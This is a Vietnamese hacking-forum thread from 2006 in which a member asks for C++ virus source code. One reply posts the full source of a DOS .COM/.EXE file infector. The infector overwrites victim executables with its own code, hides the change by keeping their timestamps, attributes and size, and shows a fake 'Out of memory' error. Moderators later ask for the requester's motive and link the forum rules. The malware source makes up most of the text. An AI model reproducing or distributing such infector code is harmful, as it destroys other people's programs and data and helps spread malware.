banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận virus, trojan, spyware, worm... cho em xin mã nguồn virus c++  XML
  [Question]   cho em xin mã nguồn virus c++ 14/08/2006 04:06:22 (+0700) | #1 | 14780
taianhlacontrai
Member

[Minus]    0    [Plus]
Joined: 30/06/2006 19:21:06
Messages: 53
Location: Tây nguyên
Offline
[Profile] [PM]
rất mong mọi người ai có code virus = c++ chỉ cho em xin
[Up] [Print Copy]
  [Question]   Re: cho em xin mã nguồn virus c++ 17/08/2006 05:50:08 (+0700) | #2 | 15518
Atox
Member

[Minus]    0    [Plus]
Joined: 07/05/2005 14:55:46
Messages: 1
Offline
[Profile] [PM]
theo em bác vào vn_heaven mà tìm. trong này có nhiều loại virus và trojan. hy vọng có con nào viết bằng C++. Em tìm đc trong đó có một con viết bằng C# là Loki .
[Up] [Print Copy]
  [Question]   cho em xin mã nguồn virus c++ 17/08/2006 11:25:33 (+0700) | #3 | 15564
[Avatar]
jamesmr
Member

[Minus]    0    [Plus]
Joined: 03/03/2006 06:30:26
Messages: 153
Offline
[Profile] [PM]

taianhlacontrai wrote:
rất mong mọi người ai có code virus = c++ chỉ cho em xin
 

để tôi tìm lại rồi gửi cho you tham khảo.
[Up] [Print Copy]
  [Question]   cho em xin mã nguồn virus c++ 20/08/2006 02:42:24 (+0700) | #4 | 16291
taianhlacontrai
Member

[Minus]    0    [Plus]
Joined: 30/06/2006 19:21:06
Messages: 53
Location: Tây nguyên
Offline
[Profile] [PM]

ai post link hay gửi vào mail cho mình với !!
[Up] [Print Copy]
  [Question]   Re: cho em xin mã nguồn virus c++ 19/09/2006 03:47:45 (+0700) | #5 | 24197
kingnight
Member

[Minus]    0    [Plus]
Joined: 18/09/2006 15:30:37
Messages: 1
Offline
[Profile] [PM]
tặng bác vài con tham khảo chơi . dám chơi dám chịu smilie

Code:
/*C-Virus:  A generic .COM and .EXE infector
 
   Written by Nowhere Man
 
   Project started and completed on 6-24-91
 
   Written in Turbo C++ v1.00 (works fine with Turbo C v2.00, too)
*/
 
 
#pragma inline                              // Compile to .ASM
 
#include 
#include 
#include 
#include 
#include 
 
void hostile_activity(void);
int infected(char *);
void spread(char *, char *);
void small_print(char *);
char *victim(void);
 
 #define DEBUG
#define ONE_KAY   1024                      // 1k
#define TOO_SMALL ((6 * ONE_KAY) + 300)               // 6k+ size minimum
#define SIGNATURE "NMAN"                    // Sign of infection
 
int main(void)
{
    /* The main program */
 
    spread(_argv[0], victim());             // Perform infection
    small_print("Out of memory\r\n");       // Print phony error
    return(1);                         // Fake failure...
}
 
void hostile_activity(void)
{
    /* Put whatever you feel like doing here...I chose to
       make this part harmless, but if you're feeling
       nasty, go ahead and have some fun... */
 
    small_print("\a\a\aAll files infected.  Mission complete.\r\n");
    exit(2);
}
 
int infected(char *fname)
{
    /* This function determines if fname is infected */
 
    FILE *fp;                     // File handle
    char sig[5];                       // Virus signature
 
    fp = fopen(fname, "rb");
    fseek(fp, 28L, SEEK_SET);
    fread(sig, sizeof(sig) - 1, 1, fp);
#ifdef DEBUG
    printf("Signature for %s:  %s\n", fname, sig);
#endif
    fclose(fp);
    return(strncmp(sig, SIGNATURE, sizeof(sig) - 1) == 0);
}
 
void small_print(char *string)
{
    /* This function is a small, quick print routine */
 
    asm {
         push si
         mov  si,string
         mov  ah,0xE
    }
 
print:   asm {
         lodsb
         or   al,al
         je   finish
         int  0x10
         jmp  short print
    }
finish: asm   pop  si
}
 
void spread(char *old_name, char *new_name)
{
    /* This function infects new_name with old_name */
 
 
    /* Variable declarations */
 
    FILE *old, *new;                   // File handles
    struct ftime file_time;                         // Old file date,
time
    int attrib;                        // Old attributes
    long old_size, virus_size;              // Sizes of files
    char *virus_code = NULL;           // Pointer to virus
    int old_handle, new_handle;             // Handles for files
 
 
    /* Perform the infection */
 
#ifdef DEBUG
    printf("Infecting %s with %s...\n", new_name, old_name);
#endif
    old = fopen(old_name, "rb");            // Open virus
    new = fopen(new_name, "rb");            // Open victim
    old_handle = fileno(old);               // Get file handles
    new_handle = fileno(new);
    old_size = filelength(new_handle);      // Get old file size
    virus_size = filelength(old_handle);         // Get virus size
    attrib = _chmod(new_name, 0);           // Get old attributes
    getftime(new_handle, &file_time);       // Get old file time
    fclose(new);                       // Close the virusee
    _chmod(new_name, 1, 0);                 // Clear any read-only
    unlink(new_name);                  // Erase old file
    new = fopen(new_name, "wb");            // Open new virus
    new_handle = fileno(new);
    virus_code = malloc(virus_size);        // Allocate space
    fread(virus_code, virus_size, 1, old);       // Read virus from old
    fwrite(virus_code, virus_size, 1, new);         // Copy virus to new
    _chmod(new_name, 1, attrib);            // Replace attributes
    chsize(new_handle, old_size);           // Replace old size
    setftime(new_handle, &file_time);       // Replace old time
 
 
    /* Clean up */
 
    fcloseall();                       // Close files
    free(virus_code);                  // Free memory
}
 
char *victim(void)
{
    /* This function returns the virus's next victim */
 
 
    /* Variable declarations */
 
    char *types[] = {"*.EXE", "*.COM"};          // Potential victims
    static struct ffblk ffblk;              // DOS file block
    int done;                     // Indicates finish
    int index;                         // Used for loop
 
 
    /* Find our victim */
 
    if ((_argc > 1) && (fopen(_argv[1], "rb") != NULL))
         return(_argv[1]);

    for (index = 0; index < sizeof(types); index++) {
         done = findfirst(types[index], &ffblk, FA_RDONLY | FA_HIDDEN |
FA_SYSTEM | FA_ARCH);
         while (!done) {
#ifdef DEBUG
              printf("Scanning %s...\n", ffblk.ff_name);
#endif
              /* If you want to check for specific days of the week,
                 months, etc., here is the place to insert the
                 code (don't forget to "#include "!) */
 
              if ((!infected(ffblk.ff_name)) && (ffblk.ff_fsize >
TOO_SMALL))
                   return(ffblk.ff_name);
              done = findnext(&ffblk);
         }
    }
 
 
    /* If there are no files left to infect, have a little fun... */
 
    hostile_activity();
    return(0);                         // Prevents warning
}
[Up] [Print Copy]
  [Question]   cho em xin mã nguồn virus c++ 19/09/2006 04:31:47 (+0700) | #6 | 24210
Defender
Locked

Joined: 03/07/2006 11:27:43
Messages: 624
Offline
[Profile] [PM] [WWW] [Yahoo!]

taianhlacontrai wrote:
rất mong mọi người ai có code virus = c++ chỉ cho em xin
 


Bồ nói lý do xin code đi, có thể tôi sẽ giúp.
[Up] [Print Copy]
  [Question]   Re: cho em xin mã nguồn virus c++ 19/09/2006 22:46:38 (+0700) | #7 | 24363
khazar
Member

[Minus]    0    [Plus]
Joined: 08/09/2006 09:50:14
Messages: 14
Offline
[Profile] [PM]
cho em hỏi con virus này dùng dể làm gì vậy ? smilie
[Up] [Print Copy]
  [Question]   cho em xin mã nguồn virus c++ 19/09/2006 23:07:53 (+0700) | #8 | 24366
[Avatar]
lQ
Moderator

Joined: 29/03/2005 17:06:20
Messages: 494
Offline
[Profile] [PM]
Các đồng chí ráng đọc xong cái này giùm nhá: http://www.vnhacker.org/hvaonline/posts/list/2784.html /
http://www.htmlforum.net/hvaonline/posts/list/2784.html.
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|